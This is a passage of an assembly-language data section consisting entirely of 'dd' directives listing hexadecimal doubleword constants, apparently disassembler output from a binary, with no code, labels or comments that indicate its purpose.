		dd 274736A4h, 1E313BA6h, 4B28AF00h, 8DFCAE3h, 73EA486Eh
		dd 0B137E94Ch, 0E2B5DC0h, 7F663BFDh, 25A2B7BAh,	0A2D26464h
		dd 0DBF9A8E8h, 7E32FB5Ah, 971CDD1Fh, 2001105Dh,	2A255102h
		dd 4864FB9Fh, 24DA7B3Bh, 26AE90C1h, 0CCF43772h,	0F839B331h
		dd 3D22D4FAh, 1DDA90EFh, 9F084897h, 272420CAh, 0D7DFBE26h
		dd 0A0BE2FA7h, 0BCB02F2Ah, 0F4BFB326h, 3B39D5F7h, 973E3A56h
		dd 5E193E6Ch, 21331C1Ch, 26223823h, 2A262477h, 2E2BCCC7h
		dd 0FA2D2FF3h, 82313364h, 39913434h, 3E3AA03Bh,	1A3E6BB9h
		dd 411F1C6Ah, 226E2021h, 26731125h, 2A2B3129h, 0DF2F2C24h
		dd 66EA1AB1h, 0FEB53435h, 95C82328h, 0F3F25ACh,	57CCEB85h
		dd 0DD71754Eh, 17A93117h, 2BEFF83Fh, 0FF162D4Bh, 0BA18432Fh
		dd 70BD2275h, 21086B22h, 267B04E1h, 0CD7D23EDh,	7F304010h
		dd 0F479E310h, 9976782Ah, 2DAE2A34h, 313F2211h,	31B53331h
		dd 3D59E114h, 2D254DFAh, 19491B32h, 95AF1CA8h, 0CFF85D23h
		dd 0F8FD4E37h, 0EF472FEAh, 20397E26h, 60021021h, 2DC86545h
		dd 8C284BB1h, 6F1DFC9Ah, 1E0E1706h, 0C1204294h,	12DDCD2Fh
		dd 0AAD5D4D4h, 0BC2F2DABh, 26166E20h, 8736B598h, 103918A5h
		dd 3A5F18FDh, 0DF707E0Dh, 0AE23E086h, 27640D1Bh, 29A87890h
		dd 0A33BCD99h, 32B115B7h, 0A532555Bh, 143BB933h, 3A3C15ABh
		dd 1F1C4696h, 0E285D1Ah, 25850A43h, 72AA477Ch, 0AD2C8A7Ah
		dd 303C8A1Ch, 0F6611B12h, 3953173Dh, 3D15425Fh,	79736B39h
		dd 24CF73FFh, 65515123h, 0E82D566Ah, 4D5E2E00h,	3059A13Ch
		dd 24696535h, 7B616576h, 5B56BEBBh, 7CCFBF50h, 5C7C784Bh
		dd 2ED2484Ch, 70252564h, 5A7E1B1Bh, 0CF1C2869h,	19DA33F0h
		dd 0AD461C45h, 0AEE3FFB3h, 90FD2DA8h, 4A1BB31Dh, 248326B0h
		dd 42254CB5h, 3A392E64h, 0FF823E9Bh, 0F417742Fh, 0DE3434E3h
		dd 139FA32h, 3C3DFD9Ah,	0DCB2E3D7h, 21E17B1Eh, 0CECC200Ah
		dd 0E85127E4h, 366C2F2Ah, 782E893Eh, 37BFCDB9h,	0FF38E7E7h
		dd 1D2C2F7Eh, 1D09B67Ch, 3FDBD41Eh, 34FFA12Eh, 9462564h
		dd 0D5002B58h, 203B7AA0h, 0BFF2B931h, 0F9CDBDC2h, 0CF393AD0h
		dd 98F7B598h, 0EC5A1EFDh, 9732F484h, 27460100h,	2315C97Dh
		dd 0A57D2D23h, 3F16B16Ch, 4360EEB0h, 2D32B91Eh,	2F303E30h
		dd 375DB10Bh, 0A23466D8h, 19A52623h, 5A336EE0h,	70A54C73h
		dd 836A6E36h, 46375636h, 0BD3B5CD2h, 0FE0E3E5Bh, 177C1A8Fh
		dd 322F17EEh, 0BA226C20h, 0A02BB43Eh, 0EEB824FAh, 86D82AFBh
		dd 7D3192BFh, 8890B239h, 0EE781330h, 2C1E833Bh,	272F7810h
		dd 0A12CE2A4h, 29A77FAAh, 51CADFC0h, 0A96322BBh, 0A5F6333Dh
		dd 34AD6A39h, 0DC04D23Ch
		dd 5133AC32h, 53128154h, 8BA627C3h, 7252025h, 2FEB2D81h
		dd 448EA82Dh, 5B34B1DCh, 17B63634h, 0E3D23590h,	3F7D3EDEh
		dd 1C77E490h, 7521E09Ah, 0D911CE83h, 2E78C832h,	0F5A8F42Bh
		dd 16156CA6h, 9623AE46h, 3889E065h, 0FABC0A68h,	1C1F169Eh
		dd 4B23A928h, 25E47026h, 2A06C727h, 2F6D45ABh, 38443E17h
		dd 0F410B072h, 4B2B5732h, 483CBBC9h, 3C92392Ch,	221A7921h
		dd 249A2121h, 28372775h, 902D0A2Bh, 7C7F116Fh, 0B8D299C2h
		dd 69673254h, 3BBB2CD9h, 25F3318h, 4F4C1B3Dh, 612EE7C8h
		dd 761305B9h, 6A5B4191h, 0BF27012Eh, 52FDB23Bh,	4BBF3D4Ah
		dd 0D37A791Ch, 0C0C3D48Dh, 360919CAh, 734B3275h, 20313723h
		dd 6690C73h, 0C67F2D41h, 1E34020Dh, 37300072h, 4D13B37h
		dd 0E66D397Bh, 4F2A9DB2h, 6DAB5B1Bh, 74743306h,	20FDD872h
		dd 5B2C265Ch, 63562FA5h, 3CE3CC76h, 37527F7Bh, 7D75383Ah
		dd 59712D54h, 751F5B77h, 2D498265h, 2A56CE75h, 792D127Ch
		dd 0BEC70B25h, 0DC636731h, 39328FABh, 6A323E2Eh, 0E4C08B8Ah
		dd 6B1E9374h, 310A21D4h, 27D4F7CCh, 3A2ADD03h, 0DDEC3FC4h
		dd 0C036D330h, 85DE2534h, 0A23ACB7Dh, 0D7313DC8h, 4E1DEEB9h
		dd 2C21D44Eh, 26D7B6CBh, 2729DC20h, 0DCAFC40Fh,	0C1328E2Fh
		dd 0BCDD3833h, 4F39CA45h, 0D6363CCFh, 851CE95Dh, 0A4801F9Bh
		dd 0A08C8922h, 29AD9726h, 0ED2CAE92h, 0F96A2FABh, 0B4E433B7h
		dd 0E1160736h, 70DC3B4Eh, 3D0A3F4Eh, 482FEE17h,	42906C8h
		dd 2667A4FFh, 0E2B6A01h, 30AE1E2Eh, 0C993C61h, 0BD773730h
		dd 3CBE7239h, 1AFFBB6Dh, 0DE5BDD19h, 0E2671164h, 72669360h
		dd 2F06EDABh, 2F832A3Ah, 672E33Bh, 5F381754h, 3053541Ah
		dd 51CDC8F8h, 18771310h, 8036DFh, 873D2564h, 7B224805h
		dd 254777C3h, 39519527h, 0A075F544h, 287A11AFh,	9F003752h
		dd 0C921AD02h, 2D1DF123h, 971A4E1Ch, 7316D218h,	0E2139815h
		dd 310FF611h, 35360331h, 3A388B37h, 0DAB0B4Eh, 2CAF0F9Fh
		dd 110C2EF8h, 1577130Ah, 19A9175Bh, 1D9C1BB7h, 1F31FE7h
		dd 5C903C4h, 0A050413h,	387B0805h, 1A550E2Dh, 3F1F9D4Dh
		dd 806253C8h, 0A74EDADBh, 0E3082847h, 0ADAAEB28h, 51DA30B9h
		dd 0C814CA90h, 0B0123E78h, 5F3ABDCCh, 1D1D0C1Fh, 2BA1A7F7h
		dd 2451D2A6h, 7E39EF76h, 2F47640Fh, 22F0937Dh, 0DE344B73h
		dd 7496F91Bh, 38B03C34h, 1B93F094h, 0ADA61995h,	23AB5524h
		dd 2FA721A9h, 0A2E74386h, 2736A428h, 0BA3235BEh, 3FB71030h
		dd 0F25D3B37h, 0C8D9AAF5h, 0B015A8BEh, 28EF2220h, 40D84C25h
		dd 6F832ADFh, 914B2F2Dh, 64333631h, 0CE35BF51h,	186F3FBFh
		dd 5A235629h, 9E139D1Dh, 23DDDEC2h, 71367726h, 0EA523CD7h
		dd 0D0ABD524h, 663AF419h, 4B333563h, 6D6D3C38h,	0C0D6B61Ch
		dd 1C5D9C0Eh, 0D231AB4Ah, 26A131DCh, 407F7B25h,	0BA312DAEh
		dd 0CD622C2Fh, 0DE378026h, 0B10DC8D0h, 0F6198033h, 69E31ACEh
		dd 0D635481Dh, 24D64F23h, 7E29D7EFh, 13A465A7h,	147042C6h
		dd 0F57675B8h, 0B237B723h, 0B3B1787Ch, 14182F6Ch, 0A153F64Dh
		dd 0C076E02h, 2A4F2674h, 0D3292A2Bh, 0EC0F1238h, 11773333h
		dd 19704EDDh, 7D3AFB99h, 84D71837h, 7A4E083Ch, 0C3A625C0h
		dd 0A729CD20h, 0B2B4915h, 64DCA8Dh, 5130F1D8h, 35516536h
		dd 97D211B0h, 2873F5Ch,	0E06DD6Fh, 7FC93642h, 0D29C2C62h
		dd 0DA80D54h, 3B1EED79h, 0F235F13Bh, 36CCB138h,	44B47834h
		dd 9BD56B3Fh, 1F971FBFh, 0FA251EC6h, 0CD723356h, 0A8DB2512h
		dd 0EEA72F42h, 316D7171h, 73BFF069h, 46F8B226h,	7BB7563Ah
		dd 855B432h, 5FDEAE26h,	11237542h, 6C2B69E5h, 0A9F32A20h
		dd 5C8578F6h, 72470B71h, 1679705Dh, 522ADA70h, 0F9175B72h
		dd 91579D09h, 65403B45h, 3D831E54h, 48D213C8h, 2F7CA95Bh
		dd 0B76632BBh, 2E964658h, 4E56586Eh, 9E7836DCh,	927C449Eh
		dd 2484679h, 6BA55D12h,	2A425B46h, 2D2D6829h, 162725D0h
		dd 3B93DD53h, 0B11C98E9h, 1E3CB7EBh, 6C6EC1Bh, 0A03075CCh
		dd 2424C122h, 0A8D7D827h, 0D2D32BE8h, 0F3132D2Eh, 716CBA62h
		dd 4EDC1312h, 1D043F4Ah, 5F3CC330h, 2424E0Fh, 0D5BDCA2Dh
		dd 6253E633h, 2C2F0C71h, 312B2C24h, 8BE8DA4Ch, 94395DB7h
		dd 8AC51B9h, 1255BE3Dh,	177CF54Dh, 0CB0415ACh, 2712A401h
		dd 0C33E6127h, 7B2AAF37h, 0DB609735h, 3985EF60h, 43A039Eh
		dd 3FB29B3Eh, 74BB1956h, 7287235Bh, 0A7F6822Bh,	2BE83D92h
		dd 0EEB66E9Ah, 0F0737A2Eh, 3D102D32h, 3BF8011Ah, 9B4F6A74h
		dd 5C1DD93Ch, 0E3771EDBh, 0E0311023h, 28EA4B27h, 952DEB0Fh
		dd 0B0492A16h, 0A8F3EE07h, 26382803h, 0D7025F3Ah, 7D04FCE5h
		dd 13FAA423h, 21BB1C43h, 6C244404h, 0C163589h, 2F5E122Eh
		dd 73B32521h, 2DC86DE4h, 0A199F21Bh, 0EFC7B539h, 3C4C09BDh
		dd 0A7D0F801h, 0F5717775h, 9322D62Bh, 6BA5FB2Ch, 6FBB2514h
		dd 0C163510h, 11BC36FBh, 3D3E3D3Dh, 0C9413190h,	2299211Dh
		dd 632A6037h, 0B792377h, 0C0E3C42Dh, 0C2862BEDh, 0A6CACBC9h
		dd 0AD063835h, 3E323C34h, 121C14C0h, 2E20101Eh,	2A242C22h
		dd 26282826h, 2D23D42Ah, 313F2F21h, 353B333Dh, 39373739h
		dd 32C33B35h, 131B303Eh, 2F1F111Dh, 0C7742D21h,	0C818C264h
		dd 0AF332A61h, 0D8793EEBh, 35893292h, 782F7F58h, 5E72583Ch
		dd 0BE8534h, 3D1F3F27h,	3F247A60h, 0B8D33C9Bh, 2A23505Ch
		dd 0AE5D5956h, 0DB643A49h, 153D77D2h, 0B0C2B228h, 676F7D0Ah
		dd 5FE276FFh, 0FB468466h, 26D42221h, 2B5A2AECh,	2E173C0Bh
		dd 2000112Dh, 0F634345Dh, 3A4A1517h, 154F063Ah,	1BCA410Ah
		dd 20031F9Ah, 1F243312h, 60F92652h, 4C2C08D5h, 2332C7Bh
		dd 6537C331h, 1969E636h, 3FDF3A3Ah, 494B643Bh, 1C525Fh
		dd 0E7B70C09h, 27E25544h, 23EB2F2Fh, 0C83ECFCAh, 0BEEB7FBCh
		dd 0FABD27B5h, 204E2D03h, 0F2F00BDh, 9F1F4C96h,	56237621h
		dd 0E6A52B24h, 29EDAA2Ah, 5AEE2DA8h, 0D8F202D0h, 0F7562E30h
		dd 0FBBFFA23h, 62D629DDh, 1E233C14h, 9F82381Ch,	5E2595CBh
		dd 0C821A38Bh, 79286CB9h, 86AD356Ch, 0C4641E95h, 39CF4B34h
		dd 4B3ECE07h, 15FDFCFDh, 0EB80579Eh, 3835D7CAh,	20F92096h
		dd 183D5997h, 22D2078Eh, 30141925h, 973BC560h, 5F3AFA7Fh
		dd 27CAEF14h, 1CD525C7h, 1A2E1FAFh, 17641836h, 13761565h
		dd 312F11DEh, 353330E1h, 0AC343691h, 0A00BA209h, 0BF0F9E0Dh
		dd 312F392Ch, 0C7134211h, 0D917D015h, 19182C19h, 4B1C141Eh
		dd 3D005B02h, 2052D07h,	4F09060Bh, 2AC1470Fh, 49888CBFh
		dd 2A4B0175h, 0E7064E0Bh, 7B03427Dh, 0A6B3CA2h,	0AE533EC7h
		dd 27FDBF2Bh, 0D22B3FE6h, 56075D15h, 0FC296A33h, 6E925E84h
		dd 0A5B5822Ah, 29C01F20h, 0D2D3317Fh, 5B2F4579h, 165E2EB2h
		dd 1052195Ch, 2C167CFAh, 38575C9Eh, 0AC7C7E21h,	0A6242208h
		dd 202626h, 0E2A0AEC8h,	1011C6A1h, 1FB6F25Dh, 3A33125Dh
		dd 3E381443h, 3B315F26h, 1D181D7Fh, 0A3E96F43h,	6D378522h
		dd 0B423888h, 2CCE286Dh, 32587160h, 8D389765h, 3E5C2878h
		dd 0B4953D49h, 95BAF7E6h, 0F3203858h, 69CD742Eh, 77D6D644h
		dd 0A520C70Bh, 26E02860h, 97BDC2Bh, 2B0A38C7h, 5E753CD9h
		dd 1769097Eh, 7974FF10h, 77302222h, 295338CEh, 2C22E228h
		dd 33021EEh, 2D257372h,	667FF622h, 6467057Ah, 8424109Bh
		dd 0A3AF89A4h, 9613C5E1h
		dd 2234E71Dh, 0CD2C7B89h, 0F3409064h, 3696FA44h, 9C3C3735h
		dd 343F0A2Ah, 4B3B6A1Dh, 50A0F54Dh, 29831260h, 1A093D8Fh
		dd 0ACA32CE9h, 0A1614E23h, 0DB03A76Dh, 0EC227542h, 0D53988A3h
		dd 0B2FD378Ch, 4EA25E1Fh, 4A772819h, 0AB24B42Dh, 78A92CE7h
		dd 4EEA28A6h, 0DE1CF12Fh, 35A77B87h, 2BC53667h,	8F080C92h
		dd 9B95BFCBh, 0A7E73C3Fh, 5220002h, 78EFB569h, 6FA52D09h
		dd 31B6E90Fh, 35633D10h, 0C6BDC8C9h, 3DA7BF35h,	914C3C3Eh
		dd 0C8073A51h, 0DB7A22E3h, 28259DDAh, 2D2B402Ah, 62E2E45h
		dd 34323275h, 741372B8h, 0F2B06A6Ah, 3F63B73Dh,	49D8F568h
		dd 73DD21DFh, 0E1EBAE73h, 474A0D6Ch, 2E2EC52Fh,	31B4B930h
		dd 5953457Bh, 593B3ABDh, 4AADBF7Eh, 871D6E69h, 21642519h
		dd 5AE0212Bh, 4F652A76h, 4BF95A4Ah, 5B0B306Ch, 36661AF3h
		dd 82A2787Ch, 0BEA53E3Bh, 1365DA34h, 58E57018h,	6346603h
		dd 0E9466E24h, 2E404A22h, 45481EEEh, 34F23032h,	304A5E70h
		dd 7E3A2CFAh, 734F319Ch, 481F7272h, 17534E44h, 20497517h
		dd 0AC585A48h, 62272E72h, 34541054h, 6B455329h,	5F526919h
		dd 1C3B5B1Fh, 9E751B1Ch, 83114D41h, 4B420B16h, 0E3A4944h
		dd 2F0A1E8Ch, 5BE7CE75h, 37763434h, 3A6B3B32h, 173CFC1Ah
		dd 541C1C1Ah, 82E9079h,	0A60925C3h, 42867h, 2DCD2Dh, 0E205333Fh
		dd 97657033h, 387C3877h, 3D3CE9C4h, 0DF1D8A7Dh,	1D202F58h
		dd 58036DDh, 23290765h,	2DA68C62h, 45F0AB26h, 9DA73344h
		dd 393B373Ah, 39223A0Bh, 0D9529BD6h, 247F751Fh,	2DCB2131h
		dd 0B270D25h, 0F2DBA0Bh, 31DAC62Fh, 96177EFBh, 3927324Dh
		dd 2C38DED1h, 532F3D75h, 1CCDF51Fh, 20E5392Fh, 272FDA34h
		dd 924C128h, 6E6B6CB8h,	0CB27CEA4h, 773155F3h, 27A23921h
		dd 0B72C826Ah, 6E7828BAh, 0AC73305Dh, 2DF626AAh, 93C2294h
		dd 70EC6A4Bh, 223976E8h, 0C8BCCBAFh, 2A38FB07h,	753DBC3Eh
		dd 0D114E4A6h, 216FEF20h, 0C817762Ah, 0B151FA1Dh, 7E54BF62h
		dd 0BA662F7Bh, 35A01786h, 0B2386035h, 4362B6C3h, 185E70B3h
		dd 137FDAF5h, 0CCE8A971h, 0E8D524E3h, 0A824EA1Bh, 0A02F2AC4h
		dd 59BCBF33h, 91DFB395h, 9791397Dh, 59F13D79h, 2EBEBC1Fh
		dd 212105AEh, 752606B4h, 0ABF9D67Eh, 0E120990h,	3C3731F0h
		dd 1274CBB1h, 6081DBCh,	0F60D3DDCh, 1F6C1E5Bh, 470AAC96h
		dd 40260523h, 5A6D2857h, 0EE7D7D2Bh, 0BEB9667Dh, 36956217h
		dd 7B501CF7h, 1F695401h, 5D4F4D48h, 5410570Ah, 616003D8h
		dd 0A2207302h, 831DF31Fh, 0F1B53FEAh, 36406C72h, 9EEC866h
		dd 6D640F0Fh, 183B42D6h, 0F30F1FFDh, 0D26B2F1Ch, 2EB702A1h
		dd 2E2A5F28h, 0B174D673h, 5B33F2F5h, 37373959h,	0BC3B3F39h
		dd 4C696B6Eh, 0AF740976h, 232D3701h, 28D9252Bh,	242A2628h
		dd 202E222Ch, 3C323E30h, 30363A34h, 3B353937h, 89BE3D34h
		dd 8690911Bh, 0CBDEDFE4h, 0DAB364D8h, 0E2A4A5D8h, 7BDD8C2Ah
		dd 3381602Dh, 6637D163h, 0E01139D7h, 0B5153C2Ah, 351C8FBAh
		dd 1135FF9Dh, 0D57DE3FEh, 0D6D6A486h, 2DAD655Eh, 0BB5F0F67h
		dd 0A168932Eh, 1D7435F7h, 5D665B1Ah, 9E46E32h, 0E01EDE31h
		dd 4E032AB7h, 4E717435h, 4A3D2849h, 24BE8EE4h, 2169F233h
		dd 58347601h, 8F39BA1Bh, 0EC0683Ch, 823A9D94h, 7C22151h
		dd 77223D8Fh, 238F02C0h, 3BC6293Dh, 3726C234h, 245BB435h
		dd 3B4B363Ch, 4E23392Ch, 35190C1Bh, 302150C8h, 9606E427h
		dd 0EB492C32h, 842DAD2Ah, 4231B547h, 0B34D34B6h, 3ABCB837h
		dd 3EB8B491h, 0F8769EAFh, 1E373B15h, 80242C11h,	2083E12Fh
		dd 2DB4C7ABh, 62322F2Ch, 0BC62EAB9h, 311C6B36h,	0D53870B7h
		dd 1BFB1ED7h, 903BAA96h, 0A9732341h, 0C0596835h, 0A92DFACAh
		dd 0B52F21EDh, 36333157h, 0E05F6160h, 7C0D3B39h, 4A6FDE34h
		dd 0BDB754Eh, 0B9A2C0BCh, 0A42F6581h, 2B2335ECh, 6F5A1950h
		dd 0B809777Fh, 0DF669DFBh, 4F34BB14h, 0AB3033B8h, 9D77FE15h
		dd 797F7F11h, 15C8ADAAh, 622FB967h, 166DBD67h, 361544A6h
		dd 0B475F4DBh, 0CA51C7CAh, 3CB81D7Ah, 1D035720h, 3E171F01h
		dd 0A5243C22h, 44A823ABh, 25A60C2Ah, 0B930AF07h, 5118133Ch
		dd 7FB14096h, 7BFB3F02h, 6A9D9E5Eh, 0CC9C0408h,	73752AA1h
		dd 3C035AAEh, 0CDEA22ABh, 36A72925h, 3C7310D9h,	2C151155h
		dd 0CC3332F9h, 0F333263Ch, 891FCC1Ah, 8CA2C2Bh,	4213161h
		dd 0C3E4295Ah, 8E2E5C37h, 1094755Ah, 1A23F6D0h,	1638AB29h
		dd 3CAD6C7Ch, 0FD29F417h, 22D27812h, 5CD7028h, 0C25928D4h
		dd 2F0D2326h, 11830C4h,	396ABDE8h, 362167BEh, 933A38F9h
		dd 5B9723AFh, 6FABBF16h, 25757326h, 0F4280CFBh,	296AA02Ah
		dd 1A3C79A5h, 0FBBF63E2h, 4039CDF7h, 0E453BA4h,	5A92FF3Eh
		dd 28599719h, 28652EA8h, 3BEA47A9h, 3443D543h, 306CB72Dh
		dd 34925630h, 3CB32631h, 209A3B19h, 20F3D29h, 4E4E1CCDh
		dd 99CAEBABh, 8611052Fh, 2A2A2F6Ah, 2B5B9323h, 67B95730h
		dd 0F1B5301Ah, 0CB5C3B3Fh, 23D52F42h, 2A195990h, 512AA1h
		dd 472636A7h, 3EA24E18h, 644E246Eh, 587F7132h, 25D15E22h
		dd 202ADC3Fh, 6E4A5C4Ch, 0EFD157Fh, 0AF55DF9Bh,	0E425632Fh
		dd 7E2D2328h, 2C8D16A1h, 0E6CF7FEEh, 94E3CC64h,	6294D026h
		dd 18A52BC4h, 38049E39h, 313B120Ch, 766359D4h, 29030Fh
		dd 2F2E4B0Ch, 43B2E49h,	1CB1E2EEh, 654B37C4h, 0C8AE3BCFh
		dd 0BC3F4E3Ch, 5C9F112Bh, 14816423h, 0AA05C438h, 2C9E3C66h
		dd 34C64138h, 23C2B5F0h, 0D28AA43Ch, 0BAB95628h, 0B22DBF2Ah
		dd 0DF54855h, 0F790197Fh, 20CD1B23h, 646F28F6h,	38063BFFh
		dd 9F54B0EAh, 7786E933h, 0EE1A39F1h, 7C7D327Fh,	85DAF231h
		dd 2F644E4Eh, 652E23CCh, 2B866728h, 4778EB36h, 5B24452Bh
		dd 315E3333h, 2C52275Ch, 6FB46A50h, 0F15901D6h,	0E4D79539h
		dd 0CC267A1Fh, 69E7E66Fh, 2DEA68DCh, 71D564C5h,	651113Eh
		dd 0BD38567Ch, 0BAD0FB22h, 1B8773A0h, 0E79D1E1Ch, 732555DFh
		dd 0AF33DA24h, 0A02B2BF4h, 0A4112D7Ah, 70DA63FBh, 0C836C869h
		dd 7CB268h, 3770B06Ch, 1F2BF40Ah, 7179482Fh, 27252467h
		dd 0C20F66AAh, 0E22E763Ch, 7281308Bh, 26359001h, 963A3883h
		dd 3E853C9Fh, 0B9BC0D3Ch, 0B9135F1Eh, 25E42386h, 8DA46525h
		dd 2E2CEF2Ah, 0F9308B52h, 4137335Ah, 0E9F43792h, 0ED3C9FB8h
		dd 40183F56h, 0C0CB1EB9h, 0FC238682h, 6C24264Dh, 89D82A8Dh
		dd 0B08B8B4Bh, 1B58BB57h, 0F87E2A94h, 7FB2FA3Bh, 3B32B50Ch
		dd 28DE1C3Dh, 0AA13A021h, 0EAAD106Fh, 104A6AA5h, 0D7A5FCA7h
		dd 361239D0h, 0F235750Dh, 0F1B19CCBh, 9FCD341Ch, 0F61097BFh
		dd 963140DDh, 24A51C82h, 923920AEh, 21699369h, 3D313F2Fh
		dd 363A343Ch, 3A363838h, 0F23F8BA2h, 0E2761BB1h, 625FD776h
		dd 41252322h, 792C2787h, 8A52B4Eh, 67612B2Eh, 0BC34C2B9h
		dd 0B43C1342h, 3DFB2E74h, 1C0B1B7Ah, 0F5E6F619h, 0AFDCDD71h
		dd 7BE427EBh, 308B0A7Ah, 302CD145h, 446230BDh, 0C059F438h
		dd 0B38BCC0Ah, 27BBF835h, 6B1D034Ch, 0DCA2A45Dh, 6505C50h
		dd 29CAFEA3h, 0A2F8060Ch, 303305B4h, 62306566h,	3ECB68BBh
		dd 4CE3E60h, 0C16F60ECh, 29602BABh, 265D2FD7h, 0FC3EC075h
		dd 0EAAED3D6h, 1312425h, 691334BBh, 1A0A6569h, 0FABC67FBh
		dd 0DE9E1A2Fh, 612D1FA7h, 0E5172122h, 0D289BABh, 902F2BC2h
		dd 31300967h
		dd 539FC030h, 5E9D9Dh, 0C318973Ah, 336F3C3Eh, 78223296h
		dd 37201121h, 0B3292764h, 0A63224A9h, 442AAF64h, 0DB327364h
		dd 0E236777Ah, 3B3AB313h, 0EB16FCE8h, 3365171Eh, 527E069h
		dd 3624E42Ah, 4728E81Bh, 2DEF73BEh, 31F36247h, 2AB71716h
		dd 1D3874AAh, 3B7F5464h, 1F5C0478h, 74268E3Bh, 63E2EBA8h
		dd 8A9D465h, 0F6A77A3Bh, 32B5298Ch, 40C41E8h, 0CE74B3F7h
		dd 33B4583Bh, 43431F3Fh, 0C4AB1F45h, 449CE07Fh,	29606589h
		dd 404EE82Bh, 3CD0CE5Bh, 652333B9h, 2BC7F8BDh, 0FA474B1h
		dd 3E9BE7B4h, 212F191Eh, 1210A26Dh, 78772755h, 8C0BEEAAh
		dd 314F392Ch, 35133323h, 6E315C26h, 38D33853h, 9BFA658h
		dd 0E0E19EE4h, 4B6F4955h, 2C6C8F44h, 2549539Ch,	8F267767h
		dd 53D31137h, 6728AB45h, 0FBDABC3Bh, 0BF568041h, 9EBD142Ah
		dd 0B2DE76CCh, 0BE08AFF4h, 28432A27h, 784D13ABh, 0E7CEE8A4h
		dd 34B530B3h, 0B16F3864h, 0BDE8C3C3h, 96083BFBh, 7AAFDFD9h
		dd 8440AFBBh, 432CA726h, 996F43D5h, 31F86F6Dh, 3511BA56h
		dd 41D4B432h, 8933FB3Bh, 1D40AF1Ah, 3E8D001Ah, 0B3EA2360h
		dd 3FD32EA5h, 637F2FA8h, 0A495EF64h, 760630B0h,	52A5468Dh
		dd 0EC503B78h, 0A8B93A7Ch, 0FEBA1C5Dh, 8F2AA1BEh, 0AFAB67E0h
		dd 898E2BA8h, 422F2D07h, 0BB31F077h, 441243F6h,	653B78A8h
		dd 37AE7C79h, 1ADA9F1Bh, 0CF54D524h, 0E3E292A8h, 322C1836h
		dd 2B303E53h, 9A35217Ah, 66DCBF23h, 3428232Fh, 3E38FD23h
		dd 964A482Bh, 5DCBF7D3h, 6A213123h, 7276D653h, 226B7675h
		dd 313B182Ah, 7ADC6319h, 0E5BBE786h, 0B6FD33FEh, 0DDE1B4C9h
		dd 0D31F1CF4h, 0A7EBA984h, 36D425C4h, 1CE9EA8Dh, 0B12DCC2Fh
		dd 1B87B33h, 28E06A21h,	394BC340h, 8B576F2Dh, 1D1F1D05h
		dd 0AF4A1E40h, 4F042015h, 0D4AA2068h, 83E0CFAh,	731B7B5Ah
		dd 3B362B3Ah, 59BF5334h, 0F53478F4h, 751B5D7Bh,	0D7252658h
		dd 20243BA6h, 2C2CB3F1h, 6B151AEBh, 3731F029h, 0FE1F00B1h
		dd 3FE93A32h, 3BD8E43Ah, 1ED81B37h, 2125FA9Eh, 34A5AD23h
		dd 487D27A6h, 2DC83D02h, 1D30CB0Fh, 600333D6h, 0C8B337D2h
		dd 752CBDB1h, 0AC1AB7B5h, 0F1241CAFh, 0AD62255Dh, 0A3278424h
		dd 0D3E5A12Fh, 0F28E267Dh, 1047BB30h, 71353531h, 4CBA3BFAh
		dd 0A26E3A19h, 0DFFCB7F7h, 69AD210Fh, 0E715DAD9h, 946D7076h
		dd 282E22BAh, 0A3DEB030h, 46423145h, 3F5A1E73h,	3D3E6D20h
		dd 52EBA931h, 12205132h, 6B176862h, 4228AB77h, 0D65D4479h
		dd 1A016963h, 678A78C8h, 0FEBA6387h, 2639AC17h,	50A8113Fh
		dd 1134151Dh, 9A7A973Dh, 4161484Eh, 0D22D198Dh,	9D29DE37h
		dd 29BCC32Eh, 3B383636h, 2A48F2BEh, 27543FB5h, 5E9DF64Ch
		dd 2428DDDCh, 0A14D26B7h, 0F55F0C28h, 312AB9A6h, 2631B015h
		dd 86B339F5h, 69382A39h, 163EB56Bh, 15ADF54Ch, 0CBA02157h
		dd 0D8DB33A5h, 0AA2AAD27h, 0C2AB2E2Ch, 0B4574C44h, 303CB4B2h
		dd 473E2A38h, 3F9EA9BCh, 4EF54E18h, 0DDDCAD38h,	25133123h
		dd 28012C19h, 0F2D2E2Bh, 9E3FB07Fh, 0F0363433h,	6E951CB3h
		dd 31AD3E3Bh, 1D974AD7h, 0A171AF0Ch, 0EDAF3733h, 298C2D26h
		dd 0A2C43B20h, 0B9A6E2h, 5DF41E92h, 0FEB37336h,	0FB5F765h
		dd 261B3EBCh, 21DF2E94h, 7BA423A0h, 0DC27394Dh,	240F6618h
		dd 306BEE95h, 4330CBB2h, 0B513C91Ch, 7F3A2639h,	15D73F3Dh
		dd 0E0E34D0Ah, 22222DE2h, 90272094h, 842B2C4Dh,	84012C2Ch
		dd 1CBD3230h, 2719B4E1h, 0DBE135D8h, 0BFDC0F30h, 1F61F5Ah
		dd 23A03F9Eh, 0E02308E2h, 0CBA8E90Bh, 0AF54B70Fh, 0B9B335AEh
		dd 5C111636h, 0DAFF805h, 360DBE0Ah, 57421CEDh, 9100FB1Ch
		dd 24213C23h, 29273709h, 0EE112B25h, 0CA0DF113h, 30A250Fh
		dd 8B066608h, 0FD028004h, 0CF25F500h, 0C221C623h, 0D21DCD1Fh
		dd 3E18291Bh, 7E140316h, 0D02E2E12h, 0B4323230h, 9643535h
		dd 0DCC0B9Bh, 29CE0C75h, 2C012E11h, 107E1260h, 14A9164Ah
		dd 0FADD1A83h, 6F086F4Dh, 92BEFC30h, 0B5DE8735h, 9D07A64h
		dd 86BC9F76h, 2A3758D9h, 0D07E70FDh, 3DD77E77h,	289A4DE2h
		dd 15469E05h, 0E027F2E4h, 65D73544h, 5ABE41Dh, 0C6AAEACh
		dd 7A7135EDh, 0E9204E4Bh, 37575190h, 4D78B951h,	5BEC0EA3h
		dd 316637C2h, 5F353358h, 53315D30h, 3E567432h, 761C3E7Eh
		dd 641F9312h, 28490605h, 2077D7AEh, 6DC674C1h, 0BB7906BDh
		dd 0B3B373F9h, 0D033361Dh, 0BF1BFA43h, 4B3BF8BDh, 6E76A44Ah
		dd 0CB8E1CE0h, 3733253Ch, 797A1509h, 0C0E90DAFh, 730ECD58h
		dd 0BDDE6235h, 2FBFBB7Dh, 0B72E343Ch, 0D61B5D87h, 0C0D06DF7h
		dd 4E20C1Ch, 78E8EA2Fh,	0C72F6C12h, 0B525F27Fh,	20DD7173h
		dd 0DB35B8D0h, 3CDDD52Fh, 1B69DBBAh, 2129FF7Eh,	65160B36h
		dd 0F9251126h, 2DAD1C2Ah, 316C2E4Eh, 0E4556F33h, 39713606h
		dd 6D332B3Bh, 9C7A1BBAh, 4538725Fh, 767FE645h, 0BA642236h
		dd 28493B11h, 60034249h, 517F5C0Ah, 682D171Bh, 2D313719h
